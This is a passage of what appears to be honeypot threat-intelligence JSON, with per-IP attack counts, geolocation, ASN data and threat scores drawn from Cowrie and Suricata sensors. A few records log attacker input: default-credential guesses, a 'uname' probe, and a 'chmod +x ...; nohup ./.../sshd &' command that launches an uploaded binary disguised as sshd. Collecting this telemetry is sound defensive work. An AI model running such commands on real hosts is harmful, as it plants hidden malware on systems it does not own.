        "last_seen_30d": "2026-05-19T02:03:38.115000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "34.76.1.201": {
      "attack_count": 72,
      "first_seen": "2026-05-14T05:05:41.999Z",
      "last_seen": "2026-05-14T05:06:37.622Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2568",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:05:41.999000+00:00",
        "last_seen_30d": "2026-05-14T05:07:46.976000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "185.126.181.48": {
      "attack_count": 66,
      "first_seen": "2026-05-03T11:08:32.126Z",
      "last_seen": "2026-05-03T11:10:32.127Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:08:32.126000+00:00",
        "last_seen_30d": "2026-05-03T11:20:33.169000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 34
      }
    },
    "36.255.33.183": {
      "attack_count": 50,
      "first_seen": "2026-05-30T22:07:08.025Z",
      "last_seen": "2026-05-30T22:12:32.181Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T22:07:08.025000+00:00",
        "last_seen_30d": "2026-05-30T22:13:41.833000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "42.224.69.185": {
      "attack_count": 50,
      "first_seen": "2026-05-21T20:45:49.104Z",
      "last_seen": "2026-05-21T20:51:13.584Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:45:49.104000+00:00",
        "last_seen_30d": "2026-05-21T20:52:14.649000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.166.175": {
      "attack_count": 50,
      "first_seen": "2026-05-31T01:41:22.370Z",
      "last_seen": "2026-05-31T01:46:46.727Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T01:41:22.370000+00:00",
        "last_seen_30d": "2026-05-31T01:47:49.119000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.73.223": {
      "attack_count": 44,
      "first_seen": "2026-05-06T14:29:08.044Z",
      "last_seen": "2026-05-06T14:33:53.555Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T14:29:08.044000+00:00",
        "last_seen_30d": "2026-05-06T14:34:54.113000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "172.245.89.104": {
      "attack_count": 42,
      "first_seen": "2026-05-09T23:04:31.289Z",
      "last_seen": "2026-05-31T02:41:54.432Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Elk Grove Village",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 48.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:04:31.289000+00:00",
        "last_seen_30d": "2026-05-31T02:43:04.514000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "216.59.16.55": {
      "attack_count": 42,
      "first_seen": "2026-05-14T16:50:32.095Z",
      "last_seen": "2026-05-31T08:05:01.772Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piedmont",
      "asn": 15085,
      "as_org": "Immedion, LLC",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T16:50:32.095000+00:00",
        "last_seen_30d": "2026-05-31T08:06:04.240000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "35.229.135.179": {
      "attack_count": 38,
      "first_seen": "2026-05-10T08:40:22.379Z",
      "last_seen": "2026-05-24T01:18:46.249Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu",
        "centos",
        "linux"
      ],
      "commands_executed": [
        "chmod +x ./.1858319345302831039/sshd;nohup ./.1858319345302831039/sshd  &",
        "chmod +x ./.5657303847004378282/sshd;nohup ./.5657303847004378282/sshd  &"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.3,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:40:22.379000+00:00",
        "last_seen_30d": "2026-05-24T01:19:50.524000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 16
      }
    },
    "104.248.177.83": {
      "attack_count": 36,
      "first_seen": "2026-05-08T11:27:41.725Z",
      "last_seen": "2026-05-31T07:39:11.039Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:27:41.725000+00:00",
        "last_seen_30d": "2026-05-31T07:40:20.501000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "41.184.168.247": {
      "attack_count": 28,
      "first_seen": "2026-05-24T14:12:49.330Z",
      "last_seen": "2026-05-24T14:35:23.612Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29091,
      "as_org": "IPNXng",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:55:59.805000+00:00",
        "last_seen_30d": "2026-05-24T14:45:26.206000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 19
      }
    },
    "115.190.55.72": {
      "attack_count": 25,
      "first_seen": "2026-05-04T16:45:50.992Z",
      "last_seen": "2026-05-04T16:46:35.821Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:45:50.992000+00:00",
        "last_seen_30d": "2026-05-04T16:47:45+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "37.250.103.122": {
      "attack_count": 20,
      "first_seen": "2026-05-19T10:08:28.621Z",
      "last_seen": "2026-05-19T16:38:34.447Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:08:28.621000+00:00",
        "last_seen_30d": "2026-05-19T16:39:39.050000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "207.180.204.158": {
      "attack_count": 18,
      "first_seen": "2026-05-02T00:11:54.325Z",
      "last_seen": "2026-05-05T14:52:03.292Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:11:54.325000+00:00",
        "last_seen_30d": "2026-05-05T14:53:09.631000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 18
      }
    },
    "187.75.121.222": {
      "attack_count": 14,
      "first_seen": "2026-05-14T10:37:39.868Z",
      "last_seen": "2026-05-14T10:45:46.136Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itaquaquecetuba",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:37:39.868000+00:00",
        "last_seen_30d": "2026-05-14T10:46:57.081000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "64.89.162.87": {
      "attack_count": 8,
      "first_seen": "2026-05-30T09:24:11.058Z",
      "last_seen": "2026-05-31T08:35:30.033Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T00:07:58.850000+00:00",
        "last_seen_30d": "2026-05-31T08:36:34.646000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "101.36.111.179": {
      "attack_count": 6,
      "first_seen": "2026-05-29T08:53:20.027Z",
      "last_seen": "2026-05-29T08:53:35.282Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 22.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 27,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T14:42:49+00:00",
        "last_seen_30d": "2026-05-29T08:54:41.446000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 15,
        "Cowrie": 6
      }
    },
    "201.238.3.219": {
      "attack_count": 6,
      "first_seen": "2026-05-19T08:31:30.510Z",
      "last_seen": "2026-05-19T10:07:33.394Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:31:30.510000+00:00",
        "last_seen_30d": "2026-05-19T10:08:38.074000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "45.12.132.56": {
      "attack_count": 6,
      "first_seen": "2026-05-03T17:11:03.568Z",
      "last_seen": "2026-05-03T17:11:10.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cyprus",
      "country_code": "CY",
      "city": null,
      "asn": 209847,
      "as_org": "WorkTitans B.V.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:11:03.568000+00:00",
        "last_seen_30d": "2026-05-03T17:12:19.790000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.228.53.46": {
      "attack_count": 6,
      "first_seen": "2026-05-18T21:00:00.628Z",
      "last_seen": "2026-05-18T21:00:00.967Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 81.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T12:52:34+00:00",
        "last_seen_30d": "2026-05-31T10:20:42.180000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 46,
        "Cowrie": 6
      }
    },
    "120.157.37.26": {
      "attack_count": 4,
      "first_seen": "2026-05-19T13:56:15.317Z",
      "last_seen": "2026-05-19T13:56:49.137Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:56:15.317000+00:00",
        "last_seen_30d": "2026-05-19T13:57:56.470000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "167.71.42.219": {
      "attack_count": 4,
      "first_seen": "2026-05-11T09:42:20.067Z",
      "last_seen": "2026-05-11T09:42:40.070Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 22,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T12:58:13+00:00",
        "last_seen_30d": "2026-05-23T00:32:55.554000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 35,
        "Cowrie": 4
      }
    },
    "187.102.216.142": {
      "attack_count": 4,
      "first_seen": "2026-05-11T22:36:13.623Z",
      "last_seen": "2026-05-11T22:40:16.338Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Puerto Eldorado",
      "asn": 270004,
      "as_org": "CRETTON LISANDRO MAXIMILIANO MISIOTECH",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:36:13.623000+00:00",
        "last_seen_30d": "2026-05-11T22:51:00.529000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "2.70.53.232": {
      "attack_count": 4,
      "first_seen": "2026-05-19T00:39:58.515Z",
      "last_seen": "2026-05-19T06:04:05.829Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:39:58.515000+00:00",
        "last_seen_30d": "2026-05-19T06:05:07.080000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 1
      }
    },
    "20.163.13.114": {
      "attack_count": 4,
      "first_seen": "2026-05-19T08:39:51.949Z",
      "last_seen": "2026-05-19T08:40:02.489Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 65.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T22:29:32.846000+00:00",
        "last_seen_30d": "2026-05-27T10:47:53.544000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 12,
        "Cowrie": 4,
        "ElasticPot": 1
      }
    },
    "201.238.0.250": {
      "attack_count": 4,
      "first_seen": "2026-05-22T17:50:25.348Z",
      "last_seen": "2026-05-22T18:03:17.809Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:50:25.348000+00:00",
        "last_seen_30d": "2026-05-22T19:40:52.302000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "34.79.163.128": {
      "attack_count": 4,
      "first_seen": "2026-05-09T06:38:12.016Z",
      "last_seen": "2026-05-09T06:38:12.918Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
